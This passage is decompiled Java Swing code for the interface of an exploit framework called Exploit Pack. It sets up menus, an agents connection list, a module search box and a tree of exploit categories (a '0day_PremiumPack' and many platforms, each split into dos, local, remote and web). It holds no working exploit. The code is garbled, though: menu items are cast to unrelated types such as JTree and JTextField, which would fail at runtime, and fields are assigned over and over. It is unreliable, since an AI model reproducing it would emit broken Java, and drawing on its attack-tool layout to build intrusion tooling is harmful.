    this.b = (JToolBar)new JPopupMenu.Separator();
    this.a = (JTree)new JMenuItem();
    this.i = (JTextArea)new JMenu();
    this.ah = new JMenuItem();
    this.N = (JTextField)new JMenuItem();
    this.k = (JTextArea)new JMenu();
    this.ao = new JMenuItem();
    this.ay = new JMenuItem();
    this.az = new JMenuItem();
    this.E = (JTextField)new JPopupMenu.Separator();
    this.D = (JTextField)new JMenuItem();
    this.l = (JTextArea)new JMenu();
    this.b = (JToolBar)new JMenuItem();
    this.u = new JPopupMenu.Separator();
    this.d = (JTree)new JMenuItem();
    this.ag = new JMenuItem();
    this.m = (JTextArea)new JMenu();
    this.P = (JTextField)new JMenuItem();
    this.c = (JTree)new JMenuItem();
    this.aw = new JMenuItem();
    this.O = (JTextField)new JMenuItem();
    this.e = (JTree)new JPopupMenu.Separator();
    this.e = (JTree)new JMenuItem();
    this.o = (JTextArea)new JMenuItem();
    this.d = (JTree)new JPopupMenu.Separator();
    this.ae = new JMenuItem();
    this.as = new JMenuItem();
    this.s = new JPopupMenu.Separator();
    this.ac = new JMenuItem();
    this.ab = new JMenuItem();
    this.al = new JMenuItem();
    this.af = new JMenuItem();
    this.t = new JPopupMenu.Separator();
    this.f = (JTree)new JMenuItem();
    this.n = (JTextArea)new JMenu();
    this.g = (JTree)new JMenuItem();
    this.h = (JTree)new JMenuItem();
    this.f = (JTree)new JPopupMenu.Separator();
    this.i = (JTextArea)new JMenuItem();
    this.l = (JTextArea)new JPopupMenu.Separator();
    this.M = (JTextField)new JMenuItem();
    this.o = (JTextArea)new JMenu();
    this.j = (JTextArea)new JMenuItem();
    this.q = (JTextArea)new JMenu();
    this.r = (JTextArea)new JMenu();
    this.b = (JToolBar)new JMenu();
    this.r = (JTextArea)new JMenuItem();
    this.s = (JPopupMenu.Separator)new JMenuItem();
    this.t = (JPopupMenu.Separator)new JMenuItem();
    this.u = (JPopupMenu.Separator)new JMenuItem();
    this.v = (JPopupMenu.Separator)new JMenuItem();
    this.d = (JTree)new JMenu();
    this.x = (JTextField)new JMenuItem();
    this.y = (JTextField)new JMenuItem();
    this.z = (JTextField)new JMenuItem();
    this.e = (JTree)new JMenu();
    this.A = (JTextField)new JMenuItem();
    this.B = (JTextField)new JMenuItem();
    this.f = (JTree)new JMenu();
    this.E = (JTextField)new JMenuItem();
    this.F = (JTextField)new JMenuItem();
    this.j = (JTextArea)new JPopupMenu.Separator();
    this.g = (JTree)new JMenu();
    this.G = (JTextField)new JMenuItem();
    this.I = (JTextField)new JMenuItem();
    this.J = (JTextField)new JMenuItem();
    this.K = (JTextField)new JMenuItem();
    this.j = (JTextArea)new JMenu();
    this.aj = new JMenuItem();
    this.ak = new JMenuItem();
    this.aa = new JMenuItem();
    this.C = (JTextField)new JPopupMenu.Separator();
    this.ap = new JMenuItem();
    this.C = (JTextField)new JMenuItem();
    this.av = new JMenuItem();
    this.c = (JTree)new JMenu();
    this.T = (JTextField)new JMenuItem();
    this.n = (JTextArea)new JPopupMenu.Separator();
    this.U = (JTextField)new JMenuItem();
    this.o = (JTextArea)new JPopupMenu.Separator();
    this.V = (JTextField)new JMenuItem();
    this.p = (JTextArea)new JPopupMenu.Separator();
    this.W = new JMenuItem();
    this.q = (JTextArea)new JPopupMenu.Separator();
    this.X = new JMenuItem();
    this.A = (JTextField)new JPopupMenu.Separator();
    this.aq = new JMenuItem();
    this.h = (JTree)new JMenu();
    this.Z = new JMenuItem();
    this.w = (JTextField)new JPopupMenu.Separator();
    this.ai = new JMenuItem();
    this.x = (JTextField)new JPopupMenu.Separator();
    this.am = new JMenuItem();
    this.y = (JTextField)new JPopupMenu.Separator();
    this.an = new JMenuItem();
    this.p = (JTextArea)new JMenu();
    this.k = (JTextArea)new JMenuItem();
    this.r = (JTextArea)new JPopupMenu.Separator();
    this.m = (JTextArea)new JMenuItem();
    this.g = (JTree)new JPopupMenu.Separator();
    this.n = (JTextArea)new JMenuItem();
    this.h = (JTree)new JPopupMenu.Separator();
    this.L = (JTextField)new JMenuItem();
    this.k = (JTextArea)new JPopupMenu.Separator();
    this.ar = new JMenuItem();
    this.B = (JTextField)new JPopupMenu.Separator();
    this.q = (JTextArea)new JMenuItem();
    this.i = (JTextArea)new JPopupMenu.Separator();
    this.p = (JTextArea)new JMenuItem();
    this.D = (JTextField)new JPopupMenu.Separator();
    this.at = new JMenuItem();
    this.R.setText("jMenuItem49");
    setDefaultCloseOperation(3);
    setTitle("Exploit Pack - Current release: v14.04 [ Not Registered ] - http://exploitpack.com [ PathMaker ]");
    setBackground(Color.black);
    setIconImage(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/bug.png")));
    addWindowListener((WindowListener)new cu(this));
    addKeyListener((KeyListener)new cF(this));
    this.a.setBackground(Color.white);
    this.a.setMaximumSize(new Dimension(239, 199));
    DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode("JTree");
    DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode("Localhost (computer)");
    defaultMutableTreeNode4.add(defaultMutableTreeNode5);
    this.d.setModel(new DefaultTreeModel(defaultMutableTreeNode4));
    this.d.setPreferredSize(new Dimension(87, 76));
    this.d.setRootVisible(false);
    this.d.addMouseListener((MouseListener)new cQ(this));
    this.d.addTreeSelectionListener((TreeSelectionListener)new db(this));
    this.s.setViewportView(this.d);
    this.j.setFont(new Font("Lucida Grande", 1, 13));
    this.j.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/computer.png")));
    this.j.setText("Connection list - Agents");
    this.b.setBackground(Color.white);
    this.b.setBorder(BorderFactory.createLineBorder(new Color(0, 0, 0)));
    this.n.setFont(new Font("Lucida Grande", 1, 13));
    this.n.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1421275146_10_Search_16x16.png")));
    this.n.setText("Modules search");
    this.e.setText("Search filter here..");
    this.e.addMouseListener((MouseListener)new dm(this));
    this.e.addActionListener((ActionListener)new dx(this));
    this.e.addKeyListener((KeyListener)new dI(this));
    this.d.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/iconfinder_old-zoom-original_23505.png")));
    this.d.addActionListener((ActionListener)new aP(this));
    this.u.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/filter-edit-16x16.gif")));
    this.u.setText("Filter");
    this.e.setModel(new DefaultComboBoxModel<>(new String[] { "Show all available modules", "Show recent", "Count modules" }));
    this.e.addActionListener((ActionListener)new ba(this));
    GroupLayout groupLayout4 = new GroupLayout(this.b);
    this.b.setLayout(groupLayout4);
    groupLayout4.setHorizontalGroup(groupLayout4.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout4.createSequentialGroup().addContainerGap().addGroup(groupLayout4.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout4.createSequentialGroup().addComponent(this.e).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.d)).addGroup(groupLayout4.createSequentialGroup().addComponent(this.n).addGap(0, 0, 32767)).addGroup(groupLayout4.createSequentialGroup().addComponent(this.e, 0, -1, 32767).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.u))).addContainerGap()));
    groupLayout4.setVerticalGroup(groupLayout4.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout4.createSequentialGroup().addContainerGap().addComponent(this.n).addGap(7, 7, 7).addGroup(groupLayout4.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.e, -2, -1, -2).addComponent(this.u)).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addGroup(groupLayout4.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.d).addComponent(this.e, -2, -1, -2)).addContainerGap(-1, 32767)));
    this.i.setBackground(Color.white);
    this.c.setBackground(Color.white);
    this.c.setMaximumSize(new Dimension(100, 90));
    this.c.addMouseListener((MouseListener)new bl(this));
    DefaultMutableTreeNode defaultMutableTreeNode3 = new DefaultMutableTreeNode("JTree");
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("Search");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("0day_PremiumPack");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("aix");
    DefaultMutableTreeNode defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("alpha");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("android");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("arm");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("ashx");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("asp");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("aspx");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("atheos");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("beos");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("bsd");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("bsd_x86");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("cfm");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("cgi");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("freebsd");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("freebsd_x86");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("freebsd_x86-64");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("hardware");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("hp-ux");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("immunix");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("ios");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("irix");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("java");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("json");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("jsp");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("linux");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("linux_mips");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("linux_sparc");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("linux_x86");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("linux_x86-64");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("lua");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("macos");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("minix");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("multiple");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("netbsd_x86");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("netware");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
